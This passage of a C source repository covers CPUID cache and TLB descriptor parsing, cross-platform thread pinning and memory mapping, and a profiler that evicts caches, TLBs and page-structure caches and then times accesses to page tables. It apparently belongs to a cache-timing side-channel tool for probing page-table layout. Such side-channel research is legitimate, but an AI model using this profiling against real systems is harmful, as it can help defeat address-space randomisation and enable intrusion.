CACHE_DESC_DTLB_L1, 4, 16, 127 | TLB_4K_PAGE | TLB_2M_PAGE }}, 128 | [0xC3] = { .tlb = { CACHE_DESC_TLB_L2, 6, 1536, 129 | TLB_4K_PAGE | TLB_2M_PAGE }}, 130 | [0xC4] = { .tlb = { CACHE_DESC_TLB_L1, 4, 32, 131 | TLB_2M_PAGE | TLB_4M_PAGE }}, 132 | [0xCA] = { .tlb = { CACHE_DESC_TLB_L2, 4, 512, TLB_4K_PAGE }}, 133 | [0xD0] = { .cache = { CACHE_DESC_CACHE_L3, 4, 512 * KIB, 64, 1 }}, 134 | [0xD1] = { .cache = { CACHE_DESC_CACHE_L3, 4, 1 * MIB, 64, 1 }}, 135 | [0xD2] = { .cache = { CACHE_DESC_CACHE_L3, 4, 2 * MIB, 64, 1 }}, 136 | [0xD6] = { .cache = { CACHE_DESC_CACHE_L3, 8, 1 * MIB, 64, 1 }}, 137 | [0xD7] = { .cache = { CACHE_DESC_CACHE_L3, 8, 2 * MIB, 64, 1 }}, 138 | [0xD8] = { .cache = { CACHE_DESC_CACHE_L3, 8, 4 * MIB, 64, 1 }}, 139 | [0xDC] = { .cache = { CACHE_DESC_CACHE_L3, 12, 1536 * KIB, 64, 1 }}, 140 | [0xDD] = { .cache = { CACHE_DESC_CACHE_L3, 12, 3 * MIB, 64, 1 }}, 141 | [0xDE] = { .cache = { CACHE_DESC_CACHE_L3, 12, 6 * MIB, 64, 1 }}, 142 | [0xE2] = { .cache = { CACHE_DESC_CACHE_L3, 16, 2 * MIB, 64, 1 }}, 143 | [0xE3] = { .cache = { CACHE_DESC_CACHE_L3, 16, 4 * MIB, 64, 1 }}, 144 | [0xE4] = { .cache = { CACHE_DESC_CACHE_L3, 16, 8 * MIB, 64, 1 }}, 145 | [0xEA] = { .cache = { CACHE_DESC_CACHE_L3, 24, 12 * MIB, 64, 1 }}, 146 | [0xEB] = { .cache = { CACHE_DESC_CACHE_L3, 24, 18 * MIB, 64, 1 }}, 147 | [0xEC] = { .cache = { CACHE_DESC_CACHE_L3, 24, 24 * MIB, 64, 1 }}, 148 | [0xF0] = { .prefetch = { CACHE_DESC_PREFETCH, 64 }}, 149 | [0xF1] = { .prefetch = { CACHE_DESC_PREFETCH, 128 }}, 150 | [0xFF] = { .flags = CACHE_DESC_NONE }, 151 | }; 152 | 153 | size_t intel_get_cache_descs_from_descriptor(union cache_desc *cache_descs, 154 | size_t size, size_t desc) 155 | { 156 | size_t n = 0; 157 | 158 | switch (desc) { 159 | case 0x63: 160 | n += set_tlb_desc(cache_descs + n, size - min(size, n), 161 | CACHE_DESC_DTLB_L1, 4, 4, TLB_1G_PAGE); 162 | break; 163 | case 0xB1: 164 | n += set_tlb_desc(cache_descs + n, size - min(size, n), 165 | CACHE_DESC_ITLB_L1, 4, 4, TLB_4M_PAGE); 166 | break; 167 | case 0xC3: 168 | n += set_tlb_desc(cache_descs + n, size - min(size, n), 169 | CACHE_DESC_TLB_L2, 4, 16, TLB_1G_PAGE); 170 | break; 171 | default: break; 172 | } 173 | 174 | n += copy_cache_desc(cache_descs + n, size - min(size, n), 175 | leaf2_cache_descs + desc); 176 | 177 | return n; 178 | } 179 | 180 | size_t intel_get_cache_descs_v1(int *use_leaf4, union cache_desc *cache_desc, 181 | size_t size) 182 | { 183 | union reg regs[4], *reg; 184 | size_t ncalls = SIZE_MAX; 185 | size_t i, j, k, n = 0; 186 | int first_call = 1; 187 | 188 | if (cpuid_get_max_leaf() < 0x00000002) 189 | return 0; 190 | 191 | *use_leaf4 = 0; 192 | 193 | /* Get the cache descriptors. */ 194 | while (--ncalls) { 195 | asm volatile( 196 | "cpuid" : 197 | "=a" (regs[0]), "=b" (regs[1]), "=c" (regs[2]), 198 | "=d" (regs[3]) : 199 | "a" (2)); 200 | 201 | /* If this is the first call, check how many times CPUID has 202 | * to be issued to get all cache descriptors. 203 | */ 204 | if (first_call) { 205 | first_call = 0; 206 | ncalls = regs[0].u8[0]; 207 | } 208 | 209 | /* Iterate over the registers. */ 210 | for (j = 0; j < 4; ++j) { 211 | reg = regs + j; 212 | 213 | /* Check if the register contains valid descriptors. */ 214 | if (reg->u32 & (1 << 31)) 215 | continue; 216 | 217 | /* Iterate over the cache descriptors. */ 218 | for (i = j ? 0: 1; i < 4; ++i) { 219 | k = reg->u8[i]; 220 | 221 | /* Skip null descriptors. */ 222 | if (k == 0) 223 | continue; 224 | 225 | /* No cache information available, we should 226 | * obtain this using CPUID leaf4. 227 | */ 228 | if (k == 0xFF) { 229 | *use_leaf4 = 1; 230 | continue; 231 | } 232 | 233 | /* Copy the corresponding cache description. */ 234 | n += intel_get_cache_descs_from_descriptor( 235 | cache_desc + n, size - min(size, n), 236 | k); 237 | } 238 | } 239 | } 240 | 241 | return n; 242 | } 243 | 244 | size_t intel_get_cache_descs_v2(union cache_desc *cache_desc, size_t size) 245 | { 246 | size_t i, n = 0; 247 | uint32_t regs[4]; 248 | size_t nways, nparts, line_size, nsets, cache_size; 249 | unsigned type; 250 | 251 | if (cpuid_get_max_leaf() < 0x00000004) 252 | return 0; 253 | 254 | /* Iterate the cache levels. */ 255 | for (i = 0;; ++i) { 256 | asm volatile( 257 | "cpuid\n" : 258 | "=a" (regs[0]), "=b" (regs[1]), "=c" (regs[2]), 259 | "=d" (regs[3]) : 260 | "a" (4), "c" (i)); 261 | 262 | type = EXTRACT(regs[0], 0, 4); 263 | 264 | if (!type) 265 | break; 266 | 267 | if (type > 3) 268 | continue; 269 | 270 | ++n; 271 | 272 | if (!cache_desc || n >= size) 273 | continue; 274 | 275 | switch (type) { 276 | case 1: cache_desc->flags = CACHE_DESC_DATA; break; 277 | case 2: cache_desc->flags = CACHE_DESC_CODE; break; 278 | case 3: cache_desc->flags = CACHE_DESC_SHARED; break; 279 | default: break; 280 | } 281 | 282 | nways = EXTRACT(regs[1], 22, 10) + 1; 283 | nparts = EXTRACT(regs[1], 12, 10) + 1; 284 | line_size = EXTRACT(regs[1], 0, 12) + 1; 285 | nsets = regs[2] + 1; 286 | 287 | cache_size = nways * nparts * line_size * nsets; 288 | 289 | cache_desc->flags |= CACHE_DESC_CACHE | 290 | CACHE_DESC_LEVEL(EXTRACT(regs[0], 5, 2)); 291 | 292 | if (regs[0] & (1 << 9)) { 293 | cache_desc->cache.nways = CACHE_FULLY_ASSOC; 294 | } else { 295 | cache_desc->cache.nways = nways; 296 | } 297 | 298 | if (regs[3] & (1 << 1)) 299 | cache_desc->flags |= CACHE_DESC_INCLUSIVE; 300 | 301 | cache_desc->cache.line_size = line_size; 302 | cache_desc->cache.size = cache_size; 303 | ++cache_desc; 304 | } 305 | 306 | return n; 307 | } 308 | 309 | size_t intel_get_cache_descs(union cache_desc *cache_desc, size_t size) 310 | { 311 | size_t n = 0; 312 | int use_leaf4 = 0; 313 | 314 | n += intel_get_cache_descs_v1(&use_leaf4, cache_desc + n, 315 | size - min(size, n)); 316 | 317 | if (use_leaf4) 318 | n += intel_get_cache_descs_v2(cache_desc + n, size - min(size, n)); 319 | 320 | return n; 321 | } 322 | -------------------------------------------------------------------------------- /source/cpuid/intel/cache.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | size_t intel_get_cache_descs(union cache_desc *cache_desc, size_t size); 9 | -------------------------------------------------------------------------------- /source/cpuid/intel/cpuid.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | 8 | #include 9 | 10 | const char *models[] = { 11 | [0x1a] = "Nehalem", 12 | [0x1d] = "Dunnington", 13 | [0x1e] = "Nehalem", 14 | [0x1f] = "Nehalem", 15 | [0x25] = "Westmere", 16 | [0x2a] = "Sandy Bridge", 17 | [0x2c] = "Westmere", 18 | [0x2d] = "Sandy Bridge", 19 | [0x2e] = "Nehalem", 20 | [0x2f] = "Westmere", 21 | [0x37] = "Baytrail", 22 | [0x3a] = "Ivy Bridge", 23 | [0x3c] = "Haswell", 24 | [0x3d] = "Broadwell", 25 | [0x3e] = "Ivy Bridge", 26 | [0x3f] = "Haswell", 27 | [0x45] = "Haswell", 28 | [0x46] = "Haswell", 29 | [0x47] = "Broadwell", 30 | [0x4d] = "Avoton", 31 | [0x4e] = "Skylake", 32 | [0x4f] = "Broadwell", 33 | [0x55] = "Skylake", 34 | [0x56] = "Broadwell", 35 | [0x5c] = "Apollo Lake", 36 | [0x5e] = "Skylake", 37 | [0x5f] = "Denverton", 38 | [0x8e] = "Kaby Lake", 39 | [0x9e] = "Kaby Lake", 40 | }; 41 | 42 | const char *intel_get_cpu_model(void) 43 | { 44 | unsigned model; 45 | uint32_t reg; 46 | 47 | asm volatile( 48 | "cpuid" : 49 | "=a" (reg) : 50 | "a" (0x00000001) : 51 | "%ebx", "%ecx", "%edx"); 52 | 53 | model = (EXTRACT(reg, 16, 4) << 4) | EXTRACT(reg, 4, 4); 54 | 55 | return models[model]; 56 | } 57 | -------------------------------------------------------------------------------- /source/cpuid/intel/cpuid.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | const char *intel_get_cpu_model(void); 9 | -------------------------------------------------------------------------------- /source/darwin/Makefile: -------------------------------------------------------------------------------- 1 | # This Source Code Form is subject to the terms of the Mozilla Public 2 | # License, v. 2.0. If a copy of the MPL was not distributed with this 3 | # file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | 5 | obj-y += source/posix/buffer.o 6 | obj-y += source/posix/cache.o 7 | obj-y += source/posix/path.o 8 | obj-y += source/posix/sysfs.o 9 | obj-y += source/darwin/thread.o 10 | -------------------------------------------------------------------------------- /source/darwin/thread.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int pin_cpu(size_t i) 12 | { 13 | pthread_t thread = pthread_self(); 14 | thread_port_t mach_thread = pthread_mach_thread_np(thread); 15 | 16 | thread_affinity_policy_data_t policy = { i }; 17 | thread_policy_set(mach_thread, THREAD_AFFINITY_POLICY, (thread_policy_t)&policy, 1); 18 | 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /source/linux/Makefile: -------------------------------------------------------------------------------- 1 | # This Source Code Form is subject to the terms of the Mozilla Public 2 | # License, v. 2.0. If a copy of the MPL was not distributed with this 3 | # file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | 5 | obj-y += source/posix/buffer.o 6 | obj-y += source/posix/cache.o 7 | obj-y += source/posix/path.o 8 | obj-y += source/posix/sysfs.o 9 | obj-y += source/linux/thread.o 10 | -------------------------------------------------------------------------------- /source/linux/thread.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | int pin_cpu(size_t i) 11 | { 12 | cpu_set_t cpu_set; 13 | pthread_t thread; 14 | 15 | thread = pthread_self(); 16 | 17 | CPU_ZERO(&cpu_set); 18 | CPU_SET(i, &cpu_set); 19 | 20 | return pthread_setaffinity_np(thread, sizeof cpu_set, &cpu_set); 21 | } 22 | -------------------------------------------------------------------------------- /source/macros.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | 8 | #include 9 | 10 | void dperror_ext(const char *fname, int line_no) 11 | { 12 | fprintf(stderr, "%s:%d: ", fname, line_no); 13 | perror(""); 14 | } 15 | 16 | -------------------------------------------------------------------------------- /source/msw/Makefile: -------------------------------------------------------------------------------- 1 | # This Source Code Form is subject to the terms of the Mozilla Public 2 | # License, v. 2.0. If a copy of the MPL was not distributed with this 3 | # file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | 5 | CFLAGS += -D__USE_MINGW_ANSI_STDIO=1 6 | 7 | obj-y += source/msw/buffer.o 8 | obj-y += source/msw/cache.o 9 | obj-y += source/msw/path.o 10 | obj-y += source/msw/sysfs.o 11 | obj-y += source/msw/thread.o 12 | -------------------------------------------------------------------------------- /source/msw/buffer.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | 9 | #define WIN32_MEAN_AND_LEAN 10 | #define NOMINMAX 11 | #include 12 | 13 | #include "buffer.h" 14 | #include "macros.h" 15 | #include "paging.h" 16 | 17 | struct buffer *new_buffer(struct page_format *fmt, void *target) 18 | { 19 | struct buffer *buffer; 20 | struct page_level *level; 21 | char *page; 22 | size_t stride = 0; 23 | size_t i, j; 24 | 25 | if (!(buffer = malloc(sizeof *buffer))) 26 | return NULL; 27 | 28 | buffer->size = 0; 29 | 30 | for (i = 0, level = fmt->levels; i < fmt->nlevels; ++i, ++level) { 31 | stride = level->page_size; 32 | buffer->size = max(buffer->size, level->npages * stride); 33 | } 34 | 35 | if (!(buffer->data = VirtualAlloc(target, buffer->size, MEM_RESERVE, 36 | PAGE_READWRITE))) 37 | goto err_free_buffer; 38 | 39 | for (j = 0, level = fmt->levels; j < fmt->nlevels; ++j, ++level) { 40 | page = buffer->data; 41 | 42 | for (i = 0; i < level->npages; ++i) { 43 | VirtualAlloc(page, 4 * KIB, MEM_COMMIT, PAGE_READWRITE); 44 | page += level->page_size; 45 | } 46 | } 47 | 48 | return buffer; 49 | 50 | err_free_buffer: 51 | free(buffer); 52 | return NULL; 53 | } 54 | 55 | void del_buffer(struct buffer *buffer) 56 | { 57 | VirtualFree(buffer->data, buffer->size, MEM_RELEASE); 58 | free(buffer); 59 | } 60 | -------------------------------------------------------------------------------- /source/msw/cache.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #define WIN32_MEAN_AND_LEAN 11 | #define NOMINMAX 12 | #include 13 | 14 | #include "args.h" 15 | #include "cache.h" 16 | #include "paging.h" 17 | #include "macros.h" 18 | 19 | struct cache *new_cache(struct page_format *fmt, void *target, 20 | size_t cache_size, size_t line_size) 21 | { 22 | struct cache *cache; 23 | struct page_level *level; 24 | size_t stride = 0; 25 | size_t i; 26 | 27 | if (!(cache = malloc(sizeof *cache))) 28 | return NULL; 29 | 30 | cache->fmt = fmt; 31 | cache->cache_size = cache_size; 32 | cache->line_size = line_size; 33 | cache->size = cache_size; 34 | 35 | for (i = 0, level = fmt->levels; i < fmt->nlevels; ++i, ++level) { 36 | stride = max(level->page_size, level->table_size); 37 | cache->size = max(cache->size, level->ncache_entries * stride); 38 | } 39 | 40 | if (!(cache->data = VirtualAlloc(target, cache->size, MEM_RESERVE | 41 | MEM_COMMIT, PAGE_READWRITE))) { 42 | dperror(); 43 | goto err_free_cache; 44 | } 45 | 46 | return cache; 47 | 48 | err_free_cache: 49 | free(cache); 50 | return NULL; 51 | } 52 | 53 | void del_cache(struct cache *cache) 54 | { 55 | VirtualFree(cache->data, cache->size, MEM_RELEASE); 56 | free(cache); 57 | } 58 | -------------------------------------------------------------------------------- /source/msw/path.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "path.h" 16 | 17 | /* If the path does not exist yet, a directory is created for the given path. 18 | * Otherwise, it is checked whether the path already points to an existing 19 | * directory or whether it is a symbolic link that points to an existing 20 | * directory. 21 | */ 22 | static int do_mkdir(const char *path) 23 | { 24 | struct stat st; 25 | int ret; 26 | 27 | ret = stat(path, &st); 28 | 29 | if (ret < 0) 30 | return mkdir(path); 31 | 32 | if (!S_ISDIR(st.st_mode)) 33 | return -1; 34 | 35 | return 0; 36 | } 37 | 38 | /* Recursively checks whether a directory exists or creates a directory for 39 | * each subpath of a given path. 40 | */ 41 | int mkpath(const char *path) 42 | { 43 | char *fpath = strdup(path); 44 | char *p; 45 | int ret = 0; 46 | 47 | for (p = strchr(fpath + 1, '/'); p; p = strchr(p + 1, '/')) { 48 | *p = '\0'; 49 | 50 | if ((ret = do_mkdir(fpath)) < 0) 51 | goto err_free_fpath; 52 | 53 | *p = '/'; 54 | } 55 | 56 | ret = do_mkdir(fpath); 57 | 58 | err_free_fpath: 59 | free(fpath); 60 | return ret; 61 | } 62 | -------------------------------------------------------------------------------- /source/msw/sysfs.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | /* Checks if transparent hugepages is enabled or disabled. */ 11 | int check_transparent_hugepages(void) 12 | { 13 | return 0; 14 | } 15 | 16 | -------------------------------------------------------------------------------- /source/msw/thread.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | 8 | #define WIN32_MEAN_AND_LEAN 9 | #define NOMINMAX 10 | #include 11 | 12 | int pin_cpu(size_t i) 13 | { 14 | SetThreadAffinityMask(GetCurrentThread(), (1 << i)); 15 | 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /source/paging.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #include "paging.h" 11 | 12 | extern struct page_format page_formats[]; 13 | 14 | struct page_format *get_page_format(const char *name) 15 | { 16 | struct page_format *fmt; 17 | 18 | for (fmt = page_formats; fmt->name; ++fmt) { 19 | if (strcmp(name, fmt->name) == 0) 20 | return fmt; 21 | } 22 | 23 | return NULL; 24 | } 25 | 26 | struct page_format *get_default_page_format(void) 27 | { 28 | return page_formats; 29 | } 30 | 31 | void list_page_formats(FILE *f) 32 | { 33 | struct page_format *fmt; 34 | 35 | for (fmt = page_formats; fmt->name; ++fmt) { 36 | fprintf(f, "%s ", fmt->name); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /source/posix/buffer.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #include "buffer.h" 12 | #include "macros.h" 13 | #include "paging.h" 14 | 15 | #ifndef MAP_NORESERVE 16 | #define MAP_NORESERVE 0 17 | #endif /* MAP_NORESERVE */ 18 | 19 | struct buffer *new_buffer(struct page_format *fmt, void *target) 20 | { 21 | struct buffer *buffer; 22 | struct page_level *level; 23 | size_t stride = 0; 24 | size_t i; 25 | unsigned flags = MAP_ANONYMOUS | MAP_PRIVATE | MAP_NORESERVE; 26 | 27 | if (target) 28 | flags |= MAP_FIXED; 29 | 30 | if (!(buffer = calloc(1,sizeof *buffer))) 31 | return NULL; 32 | 33 | for (i = 0, level = fmt->levels; i < fmt->nlevels; ++i, ++level) { 34 | stride = level->page_size; 35 | buffer->size = max(buffer->size, level->npages * stride); 36 | } 37 | 38 | if ((buffer->data = mmap(target, buffer->size, PROT_READ | PROT_WRITE, 39 | flags, -1, 0)) == MAP_FAILED) { 40 | dperror(); 41 | goto err_free_buffer; 42 | } 43 | 44 | return buffer; 45 | 46 | err_free_buffer: 47 | free(buffer); 48 | return NULL; 49 | } 50 | 51 | void del_buffer(struct buffer *buffer) 52 | { 53 | munmap(buffer->data, buffer->size); 54 | free(buffer); 55 | } 56 | -------------------------------------------------------------------------------- /source/posix/cache.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | 12 | #include "args.h" 13 | #include "cache.h" 14 | #include "paging.h" 15 | #include "macros.h" 16 | 17 | #ifndef MAP_NORESERVE 18 | #define MAP_NORESERVE 0 19 | #endif /* MAP_NORESERVE */ 20 | 21 | struct cache *new_cache(struct page_format *fmt, void *target, 22 | size_t cache_size, size_t line_size) 23 | { 24 | struct cache *cache; 25 | struct page_level *level; 26 | size_t stride = 0; 27 | size_t i; 28 | unsigned flags = MAP_ANONYMOUS | MAP_PRIVATE | MAP_NORESERVE; 29 | 30 | if (target) 31 | flags |= MAP_FIXED; 32 | 33 | if (!(cache = malloc(sizeof *cache))) 34 | return NULL; 35 | 36 | cache->fmt = fmt; 37 | cache->cache_size = cache_size; 38 | cache->line_size = line_size; 39 | 40 | // calculate the buffer size needed to evict this cache 41 | cache->size = cache_size; 42 | 43 | for (i = 0, level = fmt->levels; i < fmt->nlevels; ++i, ++level) { 44 | stride = max(level->page_size, level->table_size); 45 | cache->size = max(cache->size, level->ncache_entries * stride); 46 | } 47 | 48 | if ((cache->data = mmap(target, cache->size, PROT_READ | PROT_WRITE, flags, 49 | -1, 0)) == MAP_FAILED) { 50 | dperror(); 51 | goto err_free_cache; 52 | } 53 | 54 | return cache; 55 | 56 | err_free_cache: 57 | free(cache); 58 | return NULL; 59 | } 60 | 61 | void del_cache(struct cache *cache) 62 | { 63 | munmap(cache->data, cache->size); 64 | free(cache); 65 | } 66 | -------------------------------------------------------------------------------- /source/posix/path.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "path.h" 16 | 17 | /* If the path does not exist yet, a directory is created for the given path. 18 | * Otherwise, it is checked whether the path already points to an existing 19 | * directory or whether it is a symbolic link that points to an existing 20 | * directory. 21 | */ 22 | static int do_mkdir(const char *path) 23 | { 24 | struct stat st; 25 | char *rpath; 26 | int ret; 27 | 28 | if (!(rpath = realpath(path, NULL))) 29 | return mkdir(path, 0777); 30 | 31 | ret = stat(rpath, &st); 32 | free(rpath); 33 | 34 | if (ret < 0) 35 | return -1; 36 | 37 | if (!S_ISDIR(st.st_mode)) 38 | return -1; 39 | 40 | return 0; 41 | } 42 | 43 | /* Recursively checks whether a directory exists or creates a directory for 44 | * each subpath of a given path. 45 | */ 46 | int mkpath(const char *path) 47 | { 48 | char *fpath = strdup(path); 49 | char *p; 50 | int ret = 0; 51 | 52 | for (p = strchr(fpath + 1, '/'); p; p = strchr(p + 1, '/')) { 53 | *p = '\0'; 54 | 55 | if ((ret = do_mkdir(fpath)) < 0) 56 | goto err_free_fpath; 57 | 58 | *p = '/'; 59 | } 60 | 61 | ret = do_mkdir(fpath); 62 | 63 | err_free_fpath: 64 | free(fpath); 65 | return ret; 66 | } 67 | -------------------------------------------------------------------------------- /source/posix/sysfs.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | /* Checks if transparent hugepages is enabled or disabled. */ 11 | int check_transparent_hugepages(void) 12 | { 13 | FILE *f; 14 | char *p, *line = NULL; 15 | size_t n = 0; 16 | int ret = 0; 17 | 18 | if (!(f = fopen("/sys/kernel/mm/transparent_hugepage/enabled", "r"))) 19 | return 0; 20 | 21 | if (getline(&line, &n, f) == -1) 22 | goto err_close; 23 | 24 | if (!(p = strchr(line, '['))) 25 | goto err_free_line; 26 | 27 | ret = (strncmp(p, "[always]", 7) == 0); 28 | 29 | err_free_line: 30 | free(line); 31 | err_close: 32 | fclose(f); 33 | return ret; 34 | } 35 | 36 | -------------------------------------------------------------------------------- /source/profile.c: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | 15 | #include "cache.h" 16 | #include "paging.h" 17 | #include "profile.h" 18 | #include "shuffle.h" 19 | #include "solver.h" 20 | 21 | #define PRIxPTR_WIDTH ((int)(2 * sizeof(uintptr_t))) 22 | 23 | static pthread_t timer_thread; 24 | volatile cycles_t timer_cycles; 25 | 26 | static int cmp_uint64(const void *lhs_, const void *rhs_) 27 | { 28 | const uint64_t *lhs = lhs_, *rhs = rhs_; 29 | 30 | if (*lhs < *rhs) 31 | return -1; 32 | 33 | if (*lhs > *rhs) 34 | return 1; 35 | 36 | return 0; 37 | } 38 | 39 | static FILE *vfopenf(const char *fname, const char *mode, va_list ap) 40 | { 41 | FILE *f; 42 | char *s; 43 | 44 | if (vasprintf(&s, fname, ap) < 0) 45 | return NULL; 46 | 47 | f = fopen(s, mode); 48 | free(s); 49 | 50 | return f; 51 | } 52 | 53 | static FILE *fopenf(const char *fname, const char *mode, ...) 54 | { 55 | FILE *f; 56 | va_list ap; 57 | 58 | va_start(ap, mode); 59 | f = vfopenf(fname, mode, ap); 60 | va_end(ap); 61 | 62 | return f; 63 | } 64 | 65 | static void *increment_cycles(void *data) 66 | { 67 | (void)data; 68 | 69 | for (;;) 70 | ++timer_cycles; 71 | 72 | return NULL; 73 | } 74 | 75 | int init_profiler(void) 76 | { 77 | timer_cycles = 0; 78 | 79 | return pthread_create(&timer_thread, NULL, increment_cycles, NULL); 80 | } 81 | 82 | uint64_t profile_access(volatile char *p) 83 | { 84 | uint64_t past, now; 85 | 86 | data_barrier(); 87 | code_barrier(); 88 | past = rdtsc(); 89 | data_barrier(); 90 | 91 | *p = 0x5A; 92 | 93 | data_barrier(); 94 | now = rdtsc(); 95 | code_barrier(); 96 | data_barrier(); 97 | 98 | return now - past; 99 | } 100 | 101 | void evict_cache_line(struct cache *cache, size_t table_size, 102 | size_t cache_line, size_t page_level) 103 | { 104 | struct page_format *fmt = cache->fmt; 105 | struct page_level *level; 106 | volatile char *p = cache->data + cache_line * cache->line_size; 107 | size_t stride = 0; 108 | size_t i, j; 109 | 110 | /* Flush the given cache line from the data cache for every page table. */ 111 | for (; p < cache->data + cache->cache_size; p += table_size) { 112 | *p = 0x5A; 113 | } 114 | 115 | /* Flush the TLBs and page structure caches. */ 116 | for (j = 0, level = fmt->levels; j <= page_level; ++level, ++j) { 117 | stride = max(level->page_size, table_size); 118 | p = cache->data + cache_line * cache->line_size; 119 | 120 | for (i = 0; i < level->ncache_entries; ++i) { 121 | *p = 0x5A; 122 | p += stride; 123 | } 124 | } 125 | } 126 | 127 | static void profile_cache_lines(uint64_t *timings, struct cache *cache, 128 | struct page_level *level, size_t page_level, size_t *cache_lines, 129 | size_t ncache_lines, size_t nrounds, volatile char *page) 130 | { 131 | volatile char *p; 132 | uint64_t timing; 133 | size_t cache_line; 134 | size_t i, j; 135 | 136 | for (i = 0; i < ncache_lines; ++i) { 137 | cache_line = cache_lines[i]; 138 | p = page + cache_line * cache->line_size; 139 | 140 | for (j = 0; j < nrounds; ++j) { 141 | timing = UINT64_MAX; 142 | 143 | while (timing >= 1000) { 144 | evict_cache_line(cache, level->table_size, cache_line, page_level); 145 | timing = profile_access(p); 146 | } 147 | 148 | timings[cache_line * nrounds + j] = timing; 149 | } 150 | } 151 | } 152 | 153 | void profile_page_table(uint64_t *timings, struct cache *cache, 154 | struct page_level *level, size_t n, size_t ncache_lines, size_t nrounds, 155 | volatile char *target, size_t stride) 156 | { 157 | volatile char *page; 158 | size_t *cache_lines; 159 | uint64_t *line_timings; 160 | uint64_t timing; 161 | size_t i, j; 162 | 163 | if (!(line_timings = malloc(ncache_lines * nrounds * sizeof *line_timings))) 164 | return; 165 | 166 | if (!(cache_lines = malloc(ncache_lines * sizeof *cache_lines))) 167 | goto err_free_line_timings; 168 | 169 | generate_indicies(cache_lines, ncache_lines); 170 | 171 | page = target; 172 | 173 | for (j = 0; j < level->npages; ++j) { 174 | profile_cache_lines(line_timings, cache, level, n, 175 | cache_lines, ncache_lines, nrounds, page); 176 | 177 | for (i 